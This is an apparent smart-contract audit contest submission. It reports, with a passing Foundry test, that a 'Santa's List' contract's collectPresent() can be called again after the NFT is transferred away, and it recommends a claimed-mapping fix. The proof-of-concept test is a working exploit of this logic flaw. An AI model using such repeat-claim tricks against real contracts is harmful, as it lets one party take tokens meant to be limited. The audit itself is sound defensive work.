Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

The Santa NFT can be collected multiple times

Summary

A person could collect the Santa NFT, transfer it to another address then collect it again.

Vulnerability Details

The check balanceOf(msg.sender) > 0 is not enough to prevent a person to mint the NFT multiple times.

See this test that passes:

function testCollectMultipleTimes() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.NICE);
santasList.checkTwice(user, SantasList.Status.NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(user);
santasList.collectPresent();
assertEq(santasList.balanceOf(user), 1);
// transfer the NFT to another address
assertEq(santasList.ownerOf(0), user);
santasList.transferFrom(user, santa, 0);
assertEq(santasList.balanceOf(user), 0);
// collect again
santasList.collectPresent();
assertEq(santasList.balanceOf(user), 1);
vm.stopPrank();
}

Impact

Impact is high because a nice person could collect the present and sell it to naughty persons, which is not nice at all.

Tools Used

Manual code review.

Recommendations

Keep track of the persons that have collected the present.
For example:

mapping(address person => bool claimed) private s_claimedPresent;
//...
function collectPresent() external {
// ...
if (s_claimedPresent[msg.sender]) {
revert SantasList__AlreadyCollected();
}
// ...
function _mintAndIncrement() private {
_safeMint(msg.sender, s_tokenCounter++);
s_claimedPresent[msg.sender] = true;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.